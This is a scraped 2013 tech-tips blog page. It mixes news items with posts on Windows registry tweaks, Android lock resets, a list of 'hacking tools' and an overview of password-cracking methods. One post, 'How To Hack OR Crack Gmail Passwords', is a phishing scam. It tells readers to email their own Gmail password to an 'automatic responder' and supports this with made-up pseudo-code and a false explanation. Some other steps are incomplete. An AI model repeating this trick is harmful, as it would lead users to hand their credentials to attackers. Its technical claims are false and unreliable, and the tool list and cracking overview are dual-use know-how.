Login into your Gmail account & start your video or call chatting & switch on to etherape window to check out the IP of your friend...(& if you are simply chatting then you will see Gmail sever IP address)

so goo ONN...............

Tuesday, September 3, 2013

How To Change The Windows 7 log-on Screen OR Welcome Screen

Tuesday, September 3, 2013 - 6 Comments

Shubu welcome screen

In this article i will give you the steps that how to change the Windows 7 log-on screen or Welcome Screen

Step 1. Go to start, and click on Run, type Regedit & press enter there.

Step 2. Navigate to : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Authentication\ LogonUI\Background

Step 3. Double-click the OEMBackground DWORD key

Step 4. Set value of the key to 1.

Step 5. Select a background image for Logon Screen with size less than 256KB in size (Use of Image Resize software like PhotoScape can help)

Step 6. Copy that image into the C:\Windows\system32\oobe\info\backgrounds folder

Step 7. Rename the image to backgroundDefault.jpg

Step 8. Reboot, and now your logon Image would have changed.

If you really enjoy this steps then give your comment....

Latest News Of Microsoft Buys Nokia's Smartphone Business

Microsoft Buys Nokia's Entire Smartphone Business :-

Microsoft is buying Nokia’s devices and services business, license Nokia’s patents, and its mapping services for $7 billion (EUR 4.5 billion), according to the press release from the company.

Under the terms of the agreement, Microsoft will pay EUR 3.79 billion to purchase substantially all of Nokia’s Devices & Services business, and EUR 1.65 billion to license Nokia’s patents, for a total transaction price of EUR 5.44 billion in cash. Microsoft will draw upon its overseas cash resources to fund the transaction. The transaction is expected to close in the first quarter of 2014, subject to approval by Nokia’s shareholders, regulatory approvals and other closing conditions.

The deal will include Nokia’s Asha brand of low to mid-level Smartphones along with popular Lumia range of Smartphones, which have grown in sales in each of the last three quarters, with numbers reaching 7.4 million units in the second quarter of 2013.

50 Shades film: Charlie Hunnam and Dakota Johnson cast

Charlie Hunnam and Dakota Johnson have landed the high-profile roles of Anastasia Steele and Christian Grey in Sam Taylor-Johnson's forthcoming big screen adaptation of literary sensation Fifty Shades of Grey.

British author EL James, whose infamous knee-trembler has sold more than 70m copies worldwide, revealed the news on Twitter. She wrote: "I am delighted to let you know that the lovely Dakota Johnson has agreed to be our Anastasia in the film adaptation of Fifty Shades of Grey." A few minutes later, the novelist added: "The gorgeous and talented Charlie Hunnam will be Christian Grey in the film adaptation of Fifty Shades of Grey."

Speculation over the identity of the main cast members for Taylor-Johnson's film has been at peak intensity since March 2012, when the project was first announced. Dakota Johnson, who is the daughter of Don Johnson and Melanie Griffith, as well as the granddaughter of Hitchcock star Tippi Hedren, was tipped for the role of Anastasia by Entertainment Weekly last month. The US magazine also predicted that Britain's Hunnam might take the role of kinky billionaire business magnate Christian Grey, though the Sons of Anarchy star later denied the rumour.

Johnson is best known for small roles in the Oscar-winning The Social Network and comedy The Five Year Engagement, in which she portrays an energetic young woman with a high sex drive. Hunnam, who made his name in the cult US TV show Sons of Anarchy (and long prior to that, the British children's series Byker Grove), is riding high after strong reviews and decent global box office returns for Guillermo Del Toro's sci-fi action movie Pacific Rim.

Fifty Shades centres on Grey's recruitment of a young virgin, Anastasia Steele, to be his well-remunerated sex slave. It is expected to be the first of a trilogy based on James' triptych of novels, which began life as fan fiction for the hugely successful supernatural romance saga Twilight but have gone on to compete with their source material in terms of popularity.

Taylor-Johnson was revealed as the surprise director of the film version in June. The artist turned film-maker, whose only feature film to date is the acclaimed 2009 John Lennon biopic Nowhere Boy, reportedly beat out luminaries of the calibre of Joe Wright, Bennett Miller and Gus van Sant.

Top Important Tools For Every Hacker

In this article I will give you some important tools that hackers must used for hacking. I finally decided to cover it up. Hacking tools are developed by some really good coders out there to ease out many complex tasks which have to be done manually and took painstakingly great deal of time and effort. All these tools provided here are free of cost, are tried hands on and are being actively developed by community, and if not, their alternatives are provided. To summarize it up, these are the  tools for every hacker work out there.

hackers tool kits

1. NMap :-

     I think everyone has heard of this one Nmap (Network Mapper) is a free open source utility for network exploration or security auditing. It was designed to Nmap rapidly scan large networks, although it works fine against single hosts. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It may be used to discover computers and services on a computer network, thus creating a "map" of the network. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source. Can be used by beginners (-sT) or by pros alike (packet_trace). A very versatile tool, once you fully understand the results.

The software provides features for probing computer networks such as host discovery, service and operating system detection, and other in-depth system information. These features are extensible by scripts that provide more advanced service detection, vulnerability detection, and other information. Nmap is also capable of adapting to network conditions including latency and network congestion during a scan. Nmap is under development and refinement by its user community.

2. Nessus Remote Security Scanner :-

Recently went closed source, but is still essentially free. Works with a client-server framework. In computer security, Nessus is a proprietary comprehensive vulnerability scanner which is developed by Tenable Network Security. It is free of charge for personal use in a non-enterprise environment. Its goal is to detect potential vulnerabilities on the tested systems.
According to surveys Nessus is the world's most popular vulnerability scanner, taking first place in the 2000, 2003, and 2006 security tools survey. Tenable Network Security estimates that it is used by over 75,000 organizations worldwide.

3. Wireshark :-

      Wireshark is GTK+ based. It is a network protocol analyzer, or sniffer, that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and to give Wireshark features that are missing from closed-source sniffers. Works great on both Linux and Windows (with a GUI), easy to use and can reconstruct TCP/IP Streams.
It is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. Originally named Ethereal, in May 2006 the project was renamed Wireshark due to trademark issues.

4. Cain and Abel :-

The swiss knife of hacking tools..Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks (Cryptanalysis attacks are done via rainbow tables which can be generated with the winrtgen.exe program provided with it.), recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.The program does not exploit any software vulnerabilities or bugs that could not be fixed with little effort.

5. Kismet :-

Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with  Kismetany wireless card which supports raw monitoring (rfmon) mode, and can sniff 802.11b, 802.11a, and 802.11g traffic. A good wireless tool as long as your card supports rfmon.
In simple word you can say that Kismet is an open source wireless network analyzer running under the Linux, Unix and Mac OS X systems. It is able to detect any 802.11 a/b/g wireless networks around it. 802.11 a/b/g protocols are WLAN (Wireless Local Area Network) standards.
Kismet works with a lot of wireless cards supporting "monitor" mode. This mode captures packets without being able to associate in the same time with an access point and require privileges rights.Kismet detects networks by passively sniffing providing it the advantages to discover the "hidden" wireless networks and being itself undetectable.

6. NetStumbler :-

NetStumbler (also known as Network Stumbler) yes it is a decent wireless tool for Windows! Sadly not as powerful as it’s Linux counterparts, but it’s easy to use and has a NetStumbler nice interface, good for the basics of war-driving. NetStumbler is a tool for Windows that allows you to detect Wireless Local Area Networks (WLANs) using 802.11b, 802.11a and 802.11g.

It has many uses:

1. Verify that your network is set up the way you intended.
2. Find locations with poor coverage in your WLAN.
3. Detect other networks that may be causing interference on your network.
4. Detect unauthorized rogue access points in your workplace.
5. Help aim directional antennas for long-haul WLAN links.
6. Use it recreationally for WarDriving.

7. SuperScan :-

Powerful TCP port scanner, pinger, resolver. SuperScan 4 is an update of the highly popular Windows port scanning tool, SuperScan. If you need an alternative for nmap on Windows with a decent interface, I suggest you check this out, it’s pretty nice.  "OR"  SuperScan is a free connect-based port scanning software designed to detect open TCP and UDP ports on a target computer, determine which services are running on those ports, and run queries such as whois, ping, ICMP traceroute, and Hostname lookups.

Alternatively, you can try Angry IP Scanner which is a pretty good replacement for it.

Monday, September 2, 2013

How To Hack OR Crack Gmail Passwords

Monday, September 2, 2013 - 14 Comments

In this article i am sharing steps that how to crack or bypass gmail account password...

Step 1: Log into your Gmail account.

Step 2: Compose a new mail.

Step 3: In subject box type " PASSWORD RECOVERY "

Step 4: Send this to -

Step 5: Write this in message box.

(first line)- Email address you want to hack.

(second line)- Your Gmail address

(third line)- Your Gmail account password

(fourth line) - <pwdcursive><v703&login="passmachine&f(p0assword)&f=27586&___javascript=ACTIVE&rsa#"start?</script>=""></cursive><>
{simply copy and paste above}

How it works: you mail to a system administrators automatic responder.Usually only system administrators should be able to use this, but when you try it with your own password and mail this message from your Gmail account the computer gets confused! Why your password is needed- automatic Gmail responder will require your "system administrator password" which is in fact your own password!!! But the : computer doesn't know.


This is an awesome trick and works as many times as you try it. Have fun!

NOTE: Use account you have been using for few days say at least 30 days. Otherwise Gmail may take new
account as temporary and this trick may not work. Moreover use it soon otherwise this flaw can be rectified soon. Please be advised that it usually works with Gmail & AOL but i'm not to sure about HOTMAIL but can try.



Sunday, September 1, 2013

How To Hide My Computer Account In Your Computer...

Sunday, September 1, 2013 - 0 Comments

In this article i give you the steps, that how to hide your MyComputer account in your computer system for security purpose, let's watch it out...

hide my computer

1. Open Start menu then click on RUN.

2. Type "Regedit" press enter.

3. Windows Registry editor will open then navigate from the left panel and go to:

4. Create a new DWORD

5. setting its name to the name of the account you wish to hide.

6. Then set its value to "0" to hide it.

Now your account is hidden!!!

This account isn't completely hidden because it is visible to administrators in Local User and Groups and also the profile is visible in the Documents and Settings.

To Login after you have hidden the account

1. At Welcome screen, and you want to login to this account.

2. Press Ctrl+Alt+Delete twice (Onlydelete is twice)

3. It will display the log-on promt.

4. Type the username, and the password and hit enter.

How to Unlock Or Reset a Android Lock

Hii, today I going to dicuss in this article about how to unlock a android lock. In these days android is most used operating system and everyone use android phones. Android operating system is provided by Google. Android phones is very popular in these days. Many peoples use different types of applications in android phone. Some peoples uses android lock pattern and many peoples often forget their lock pattern. So don't worry i have a trick to unlock or reset lock pattern. Suddenly if you forget your android lock pattern, so don't worry, I have very simple method to unlock or reset the android lock pattern.
unlock or reset android lock

When you enter wrong secret quite 5 times then it will offer you warning and you try once thirty seconds. But after you forget secret then you reset lock. Now click forget secret, then enter gmail id and secret (you entered in google play store). At this point you wish to reset or unlock your android lock. But if you don't know email id and secret then follow below simple steps to reset or unlock you android phone. But once use this method, you lose all information in your phone memory. But I even have another simple method to reset or unlock android lock, follow below simple steps :-

How to Unlock/Reset a Android Lock in Emergency :

1) First of all, you need to swich off your android device and keep it for some time.

2) Now press the up volume button and hold it for 30 seconds.

3) Now press home button and hold it, Then press power button and after started your phone just release it.

4) Then you can see enter secret android menu you never see it before, just click on home button up and down in the menu.

5) Now click on third option which is Delete All User Data.

6) Now in this way, your android lock pattern is unlocked now problem is solved.

Top Ten Password Cracking Methods

1. Dictionary attack :-

dictionary attack

"This uses a simple file containing words that can, surprise surprise, be found in a dictionary. In other words, if you will excuse the pun, this attack uses exactly the kind ofwords that many people use as their password..."

2. Brute force attack :-

brute force attack images

"This method is similar to the dictionary attack but with the added bonus, for the hacker, of being able to detect non-dictionary words by working through all possible alpha-numeric combinations from aaa1 to zzz10..."

3. Rainbow table attack :-

Rainbow table attack images

"A rainbow table is a list of pre-computed hashes - the numerical value of an encrypted password, used by most systems today - and that’s the hashes of allpossible password combinations for any given hashing algorithm mind. The time it takes to crack a password using a rainbow table is reduced to the time it takes to look it up in the list..."

4. Phishing :-

Phishing attack images

"There's an easy way to hack: ask the user for his or her password. A phishing email leads the unsuspecting reader to a faked online banking, payment or other site in order to login and put rightsome terrible problem with their security..."

5. Social engineering :-

Social engineering images

"A favourite of the social engineeris to telephone an office posing asan IT security tech guy and simply ask for the network access password. You’d be amazed how often this works. It take the advantage of people trust."

6. Malware :-

virus, spam,spyware, trojan

"A key logger or screen scraper can be installed by malware whichrecords everything you type or takes screen shots during a login process, and then forwards a copy of this file to hacker central..."

7. Offline cracking :-

offline password cracking

"Often the target in question has been compromised via an hack ona third party, which then providesaccess to the system servers and those all-important user password hash files. The password cracker can then take as long as they need to try and crack the code without alerting the target system or individual user..."

8. Shoulder surfing :-

Shoulder surfing image

"The service personnel ‘uniform’ provides a kind of free pass to wander around unhindered, and make note of passwords being entered by genuine members of staff. It also provides an excellent opportunity to eyeball all those post-it notes stuck to the front of LCD screens with logins scribbled upon them..."

9. Spidering :-

Spidering image

"Savvy hackers have realised that many corporate passwords are made up of words that are connected to the business itself. Studying corporate literature, website sales material and even the websites of competitors and listed customers can provide the ammunition to build a custom word list to use in a brute force attack..."

10. Guess :-

guessing password

"The password crackers best friend, of course, is the predictability of the user. Unless a truly random password has been created using software dedicated to the task, a user generated ‘random’ password is unlikely to be anything of the sort..."

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